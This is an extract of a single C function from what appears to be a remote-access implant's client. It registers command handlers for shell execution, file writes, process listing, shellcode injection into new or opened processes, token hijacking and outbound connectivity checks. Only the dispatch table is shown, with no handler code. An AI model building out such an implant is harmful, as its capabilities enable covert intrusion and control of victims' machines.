void cl_initialize_handlers()

in client.c [252:311]


void cl_initialize_handlers(void)
{
    handlers[TERMINATE_PROCESS] = cl_terminate_process;

    handlers[RUN_SHELL_COMMAND] = cl_run_shell_command;

    handlers[LIST_WORKING_DIRECTORY_FILES] = cl_list_working_directory_files;

    handlers[WRITE_FILE] = cl_write_file;

    handlers[GET_WORKING_DIRECTORY] = cl_get_working_directory;

    handlers[CHANGE_WORKING_DIRECTORY] = cl_change_working_directory;

    handlers[LIST_RUNNING_PROCESSES] = cl_list_running_processes;

    handlers[CREATE_RANDOM_PROCESS_IO_REDIRECT_INJECT_SHELLCODE_32BITS] =

        cl_create_random_process_io_redirect_inject_shellcode_32;

    handlers[CREATE_RANDOM_PROCESS_IO_REDIRECT_INJECT_SHELLCODE_64BITS] =

        cl_create_random_process_io_redirect_inject_shellcode_64;

    handlers

        [CREATE_RANDOM_PROCESS_WITH_HIJACKED_TOKEN_AND_INJECT_SHELLCODE_32BITS] =

        cl_create_random_process_inject_shellcode_32;

    handlers

        [CREATE_RANDOM_PROCESS_WITH_HIJACKED_TOKEN_AND_INJECT_SHELLCODE_64BITS] =

        cl_create_random_process_inject_shellcode_64;

    handlers[OPEN_PROCESS_AND_INJECT_SHELLCODE_32BITS] =

        cl_open_process_inject_shellcode_32;

    handlers[OPEN_PROCESS_AND_INJECT_SHELLCODE_64BITS] =

        cl_open_process_inject_shellcode_64;

    handlers[HTTP_CONNECTIVITY_CHECK] = cl_http_connectivity_check;

    handlers[DNS_CONNECTIVITY_CHECK_WITH_IP] = cl_dns_connectivity_check_with_ip;

    handlers[ICMP_CONNECTIVITY_CHECK] = cl_icmp_connectivity_check;

    handlers[TCP_CONNECTIVITY_CHECK] = cl_tcp_connectivity_check;

    handlers[DNS_CONNECTIVITY_CHECK_WITHOUT_IP] =

        cl_dns_connectivity_check_without_ip;

    handlers[DISCONNECT] = cl_disconnect;

    handlers[TERMINATE_SERVER] = cl_terminate_server;
}